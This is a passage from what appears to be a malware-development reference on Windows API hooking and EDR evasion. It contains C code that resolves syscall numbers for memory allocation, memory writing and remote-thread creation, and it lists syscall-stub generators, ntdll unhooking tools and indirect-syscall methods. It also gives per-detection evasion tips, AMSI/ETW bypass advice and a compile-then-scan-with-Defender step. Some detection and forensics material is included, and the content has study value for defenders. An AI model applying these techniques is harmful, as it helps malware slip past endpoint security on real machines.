    HANDLE hFile = CreateFileA(
        "C:\\Windows\\System32\\ntdll.dll",
        GENERIC_READ, FILE_SHARE_READ, NULL,
        OPEN_EXISTING, 0, NULL);
    if (hFile == INVALID_HANDLE_VALUE) return (DWORD)-1;

    HANDLE hMap = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
    PVOID  pMap = MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0);

    PIMAGE_DOS_HEADER pDOS = (PIMAGE_DOS_HEADER)pMap;
    PIMAGE_NT_HEADERS pNT  = (PIMAGE_NT_HEADERS)((BYTE*)pMap + pDOS->e_lfanew);
    PIMAGE_EXPORT_DIRECTORY pExp = (PIMAGE_EXPORT_DIRECTORY)
        ((BYTE*)pMap + pNT->OptionalHeader
             .DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

    DWORD* pFuncs  = (DWORD*)((BYTE*)pMap + pExp->AddressOfFunctions);
    DWORD* pNames  = (DWORD*)((BYTE*)pMap + pExp->AddressOfNames);
    WORD*  pOrds   = (WORD*)( (BYTE*)pMap + pExp->AddressOfNameOrdinals);

    DWORD ssn = (DWORD)-1;

    for (DWORD i = 0; i < pExp->NumberOfNames; i++) {
        LPCSTR name = (LPCSTR)((BYTE*)pMap + pNames[i]);
        if (strcmp(name, funcName) != 0) continue;

        // Syscall stub pattern: 4C 8B D1 B8 XX 00 00 00
        // (mov r10, rcx; mov eax, SSN)
        BYTE* pStub = (BYTE*)pMap + pFuncs[pOrds[i]];

        // Verify it's a syscall stub
        if (pStub[0] == 0x4C && pStub[1] == 0x8B && pStub[2] == 0xD1 &&
            pStub[3] == 0xB8) {
            ssn = *(DWORD*)(pStub + 4);   // SSN is at byte offset 4
            printf("[+] %s SSN = 0x%X\n", funcName, ssn);
        }
        break;
    }

    UnmapViewOfFile(pMap);
    CloseHandle(hMap);
    CloseHandle(hFile);
    return ssn;
}

// ── Runtime inline syscall with dynamic SSN ───────────────────
NTSTATUS DirectSyscall(DWORD ssn, ...) {
    // Advanced: use alloca'd stub or shellcode with SSN patched in at runtime
    // For PoC: use SysWhispers2/SysWhispers3 which generate complete stubs
    return STATUS_SUCCESS;
}

int main(void) {
    DWORD ssnAlloc  = GetSyscallNumber("NtAllocateVirtualMemory");
    DWORD ssnThread = GetSyscallNumber("NtCreateThreadEx");
    DWORD ssnWrite  = GetSyscallNumber("NtWriteVirtualMemory");
    // Use these SSNs in your inline asm stubs
    return 0;
}

16.3 Tools for Syscall-Based Evasion

# SysWhispers3 — generates x86/x64 syscall stubs with dynamic SSN
git clone https://github.com/klezVirus/SysWhispers3
python3 syswhispers.py --preset common -o syscalls
# Output: syscalls.h, syscalls.c, syscallsstubs.asm
# Supports: direct, indirect, random syscall instructions

# Usage in C:
#include "syscalls.h"
SW3_NtAllocateVirtualMemory(handle, &base, 0, &size,
                             MEM_COMMIT, PAGE_READWRITE);

# Indirect syscall — call a syscall;ret gadget inside ntdll
# so RIP appears to be in ntdll (passes call-stack origin checks)
# FreshyCalls, RecycledGate, TartarusGate implement this

17. Detection & Evasion

17.1 Detection Methods (Blue Team / EDR)

Technique → How EDR Detects It

Inline Hook (JMP patch):
  → Scan function prologues for E9 / FF25 bytes
  → Hash first N bytes of critical functions at startup, re-check periodically
  Tools: PE-sieve, pe-bear, process_hacker

IAT Hook:
  → Walk IAT of all modules, verify each pointer lands in expected DLL range
  → Flag pointers that land outside any loaded module (.text section)
  Tools: PE-sieve, Moneta

EAT Hook:
  → Compare DLL's EAT entries against disk copy
  → Heuristic: EAT RVA points outside DLL's code section

SetWindowsHookEx (global):
  → ETW event: EtwpCreateEtwThread / SetWindowsHookEx API call
  → DLL injection into unrelated processes flagged

VEH Hook (INT3):
  → INT3 (0xCC) at function start detected by integrity check
  → Abnormal exception rate in process event log

VEH Hook (HWBP):
  → Abnormal EXCEPTION_SINGLE_STEP frequency
  → AddVectoredExceptionHandler call + subsequent #DB faults
  → New: monitor debug register DR0–DR3 via SetThreadContext telemetry

ntdll Unhooking:
  → ReadProcessMemory on a suspended process with ntdll load
  → File I/O on ntdll.dll from disk
  → .text section mismatch (guard page on .text)

Direct Syscall:
  → Call stack analysis: syscall instruction doesn't originate from ntdll
  → Stack walking: no ntdll frame in call stack
  Indirect Syscall: solves this by calling a syscall;ret gadget inside ntdll

17.2 Evasion Techniques

Against Inline Hook Detection:
  → Use IAT hooking instead (no function code modification)
  → Use VEH/HWBP (no memory modification)
  → Hook in a rarely-scanned function or code cave

Against IAT Detection:
  → Use inline hook (doesn't touch IAT)
  → Resolve functions via GetProcAddress dynamically (no IAT to patch)

Against SetWindowsHookEx detection:
  → WH_KEYBOARD_LL doesn't inject DLL — stays in your process
  → Use thread-scope hook (specific thread ID, not global)
  → Use manual DLL injection instead

Against HWBP Detection (VEH²):
  → Don't call SetThreadContext directly
  → Force an exception, use a nested VEH to set the second VEH's context
  → Silently sets debug registers without calling SetThreadContext

Against ntdll Unhooking Detection:
  → Read from KnownDlls (no disk I/O)
  → Use selective per-stub unhooking (less footprint)
  → Use direct/indirect syscalls instead of unhooking

Against Direct Syscall Detection:
  → Use INDIRECT syscall (call originates from ntdll gadget → passes origin check)
  → Perun's Fart: JIT unhook → call → re-hook (call stack looks legitimate)

General OPSEC:
  → Unhook/bypass only what you need — minimize footprint
  → Combine techniques: direct syscall for injection + HWBP for AMSI bypass
  → Use sleep encryption between hooks to reduce memory scan exposure

17.3 Quick Detection Commands

# ── Detect hooks in a process with PE-sieve ──────────────────
pe-sieve64.exe /pid 1234 /hooks 1
# Output: Inline hooks, IAT hooks, EAT hooks found in loaded modules

# ── Dump IAT of a running process ────────────────────────────
# In WinDbg (attach to process):
!dh -f <module_base>     # dump PE headers
dps @$peb+0x18           # PEB.Ldr
!imports <module>        # show all IAT entries

# ── Check ntdll for hooks (PowerShell, quick) ─────────────────
# Compare first bytes of Nt* functions to expected syscall stub
[byte[]]$ntdll = [System.IO.File]::ReadAllBytes("C:\Windows\System32\ntdll.dll")
# Then compare in-memory bytes vs. $ntdll bytes for each Nt* function

# ── Frida — hook any function dynamically (no compilation) ────
frida-trace -p 1234 -i "MessageBoxW"  # trace all calls to MessageBoxW
frida-trace -p 1234 -i "Nt*"         # trace all Nt* native API calls

# ── Volatility — detect SSDT hooks in memory image ────────────
volatility -f memory.dmp --profile=Win10x64 ssdt
volatility -f memory.dmp --profile=Win10x64 apihooks

# ── Process Hacker / System Informer ─────────────────────────
# Right-click process → Properties → Modules → Inspect IAT
# "Hooks" column shows detected inline/IAT hooks

18. Tools Reference

Hooking Libraries

Tool Type Platform Notes
Microsoft Detours Inline hook library x86/x64/ARM Official MS library, transaction-based, production-grade
MinHook Inline hook library x86/x64 Minimalistic, clean API, v1.3.4 (2025), vcpkg support
MinHook-Detours Hybrid x86/x64/ARM64 MinHook API + Detours engine + ARM64 support
Frida Dynamic instrumentation Multi-platform Scriptable with JS, no recompile needed
EasyHook Managed hook lib .NET Hook from C#, wraps native hooks
PolyHook2 C++ hook lib x86/x64 Modern C++17, supports inline/IAT/VEH/VMT
wraith-rs Rust hook framework x86/x64 Inline/IAT/EAT/VEH/VMT, full PE pipeline

Syscall / Unhook Tools

Tool Purpose
SysWhispers3 Generates direct/indirect syscall stubs (Python → ASM+C)
HellsGate Dynamic SSN resolution via in-memory ntdll parsing
TartarusGate Dynamic SSN + indirect syscall (handles hooked stubs)
RecycledGate Indirect syscall via Nt/Zw function pairs
SharpNtdllOverwrite C# ntdll unhooking (disk/KnownDlls/debug process)
NtUnhook Selective in-memory syscall stub unhooking
UnhookMe Dynamic import resolver that unhooks on-the-fly

Detection / Analysis Tools

Tool Purpose
PE-sieve Scan process for inline/IAT/EAT hooks, injected code
Moneta Memory scanner — detect hooks, shellcode, anomalies
Process Hacker / System Informer GUI — inspect IAT, loaded DLLs, thread stacks
Frida Dynamic hook inspection and instrumentation
WinDbg Kernel + user-mode debugging, SSDT inspection
x64dbg Usermode debugger, step through hooks manually
Volatility Memory forensics — SSDT hooks, API hooks from dump

19. Comparison Matrix

Technique Complexity Stealthy Modifies Code Modifies IAT Cross-Process Kernel Needed EDR Risk
Inline Hook (manual) Low Low YES (JMP) No No No High (E9 scan)
Detours Low Low YES (JMP) No With injection No High (E9 scan)
MinHook Low Low YES (JMP) No With injection No High (E9 scan)
IAT Hook Medium Medium No YES Module-scope No Medium (IAT scan)
EAT Hook Medium Medium No Yes (EAT) All callers No Medium
SetWindowsHookEx (global) Low Low No No YES (DLL inj) No High (ETW logged)
SetWindowsHookEx (LL thread) Low Medium No No No No Medium
VEH INT3 Medium Medium YES (0xCC) No No No Medium
VEH HWBP Medium-High High NO No No (per-thread) No Medium-Low
Page Guard Medium Medium No No No No Medium
VMT Hook Medium High No No No No Low
SSDT Hook Very High High YES (kernel) No YES (global) YES Very High / PG
ntdll Unhook Medium Medium YES (.text) No No No Medium (detected)
Direct Syscall Medium High No No No No Medium (stack check)
Indirect Syscall High Very High No No No No Low

20. Cheat Sheet

Quick Workflow — Choose and Apply a Hook

What do you need?

Intercept a Win32 API in a process you control?
  → MinHook (easiest) or Detours (most robust)
  → Target: kernel32 / user32 / advapi32

Monitor all keyboard input globally?
  → SetWindowsHookExW(WH_KEYBOARD_LL, ..., NULL, 0)
  → Message loop required; runs in your own process space

Inject DLL into all GUI processes?
  → SetWindowsHookExW(WH_KEYBOARD, proc, hDll, 0)
  → Windows auto-injects hDll into every process with a message loop

Hide from EDR's function integrity scan?
  → VEH + HWBP (zero memory modification)
  → Or IAT hook (doesn't touch function code)

Bypass EDR hooks on ntdll (NtAllocate, NtCreateThread, etc.)?
  → ntdll unhooking (suspended process method)
  → OR direct syscall (skips ntdll entirely)
  → OR indirect syscall (looks like it came from ntdll)

Intercept C++ virtual method?
  → VMT hook (shadow vtable)
  → Instance-scope, no code modification

Kernel-wide intercept (research / rootkit)?
  → SSDT hooking (Ring 0 driver, bypasses PatchGuard = BSoD risk)

Windows API Quick Reference

// Install message hook
HHOOK SetWindowsHookExW(int idHook, HOOKPROC lpfn,
                         HINSTANCE hmod, DWORD dwThreadId);

// Remove message hook
BOOL UnhookWindowsHookEx(HHOOK hhk);

// Pass to next hook in chain (MUST call in every hook proc)
LRESULT CallNextHookEx(HHOOK hhk, int nCode,
                        WPARAM wParam, LPARAM lParam);

// Install VEH (first=1 → high priority)
PVOID AddVectoredExceptionHandler(ULONG First, PVECTORED_EXCEPTION_HANDLER Handler);

// Remove VEH
ULONG RemoveVectoredExceptionHandler(PVOID Handle);

// Change memory protection (required before writing hooks)
BOOL VirtualProtect(LPVOID lpAddress, SIZE_T dwSize,
                    DWORD flNewProtect, PDWORD lpflOldProtect);

// Get thread context (for HWBP — sets DR0–DR3)
BOOL GetThreadContext(HANDLE hThread, LPCONTEXT lpContext);
BOOL SetThreadContext(HANDLE hThread, const CONTEXT* lpContext);

Hook Type — Decision Tree

Need to hook an API?
│
├─ Learning / CTF?
│   └─ MinHook or manual inline hook → fast, works fine
│
├─ Red Team — want to avoid EDR detection?
│   ├─ EDR does code integrity check (scans E9/FF25)?
│   │   └─ Use IAT hook or HWBP VEH hook (no code mod)
│   │
│   ├─ Need to bypass ntdll hooks (EDR watching Nt* calls)?
│   │   └─ Direct or indirect syscall
│   │       + optional: ntdll unhook (suspended process method)
│   │
│   └─ Need AMSI / ETW bypass without memory patch?
│       └─ HWBP VEH hook on AmsiScanBuffer / EtwEventWrite
│           + VEH² for silent debug register setup
│
├─ Need global keyboard/mouse monitoring?
│   └─ WH_KEYBOARD_LL / WH_MOUSE_LL via SetWindowsHookExW
│       (stays in your process, no DLL injection)
│
├─ DLL injection via hook mechanism?
│   └─ SetWindowsHookExW(WH_KEYBOARD, proc, hDll, 0)
│       (injects into all GUI processes)
│
├─ Hook C++ virtual dispatch?
│   └─ VMT / shadow VMT hook (instance scope, no code mod)
│
└─ Need kernel-wide intercept (rootkit / research VM)?
    └─ SSDT hook via Ring 0 driver
        (PatchGuard will BSOD on Win10/11 x64 in production)

Key SSN Values (Windows 10 x64 — 2004+)

Note: SSNs change between Windows versions. Always resolve dynamically.

Function                        SSN (Win10 2004+)
──────────────────────────────  ────────────────
NtAllocateVirtualMemory         0x18
NtCreateThreadEx                0xC7 (approx, varies)
NtWriteVirtualMemory            0x3A
NtCreateProcess                 0x4D
NtOpenProcess                   0x26
NtReadVirtualMemory             0x3F
NtProtectVirtualMemory          0x50

→ Use SysWhispers3 or Hell's Gate to resolve dynamically per OS version

Common Compile Commands

# MSVC — inline hook DLL
cl.exe /LD hook.c /Fe:hook.dll /link user32.lib kernel32.lib ntdll.lib

# MSVC — hook EXE with Detours
cl.exe hook.c /Fe:hook.exe /I detours\include detours\lib.X64\detours.lib /link user32.lib

# MSVC — with MinHook
cl.exe hook.c /Fe:hook.exe /I minhook\include minhook\bin\MinHook.x64.lib /link user32.lib

# MinGW cross-compile
x86_64-w64-mingw32-gcc hook.c -o hook.exe -luser32 -lkernel32 -lntdll

# Compile + assemble (direct syscall with ASM stub)
ml64.exe /c syscall_stub.asm
cl.exe /c hook.c
link.exe hook.obj syscall_stub.obj /out:hook.exe kernel32.lib ntdll.lib

# Test hooks against Windows Defender
"C:\Program Files\Windows Defender\MpCmdRun.exe" -Scan -ScanType 3 -File hook.exe

# Quick check for E9 inline hook bytes with xxd
xxd -s 0 -l 20 -p hook.dll | grep e9   # look for JMP patches

References & Tools

Hooking Libraries: - Microsoft Detours — https://github.com/microsoft/Detours - MinHook — https://github.com/TsudaKageyu/minhook - MinHook-Detours (ARM64 support) — https://github.com/m417z/minhook-detours - PolyHook2 — https://github.com/stevemk14ebr/PolyHook_2_0 - Frida — https://frida.re (dynamic instrumentation, scriptable)

Syscall / Unhooking: - SysWhispers3 — https://github.com/klezVirus/SysWhispers3 - HellsGate — https://github.com/am0nsec/HellsGate - SharpNtdllOverwrite — https://github.com/ricardojoserf/SharpNtdllOverwrite - NtUnhook — https://github.com/S12cybersecurity/NtUnhook - LazyHook (HWBP + IAT) — https://github.com/hwbp/LazyHook - mora-hwbp (HWBP AMSI/ETW) — https://github.com/Dovughs/mora-hwbp

Detection / Analysis: - PE-sieve — https://github.com/hasherezade/pe-sieve - Moneta — https://github.com/forrest-orr/moneta - Process Hacker — https://processhacker.sourceforge.io

Further Reading: - Microsoft MSDN — SetWindowsHookEx: https://learn.microsoft.com/windows/win32/api/winuser/nf-winuser-setwindowshookexw - CrowdStrike — Patchless AMSI bypass via VEH: https://www.crowdstrike.com/blog/crowdstrike-investigates-threat-of-patchless-amsi-bypass-attacks/ - ired.team — API hooking notes: https://www.ired.team - TrustedSec — SetWindowsHookEx DLL injection: https://trustedsec.com/blog/putting-our-hooks-into-windows - rbtsec — Trampoline / IAT / Inline Patching: https://www.rbtsec.com/blog/api-hooking-techniques-trampoline-hooks-iat-hooking-and-inline-patching-copy/ - Sektor7 Malware Development courses


← Malware development top ↑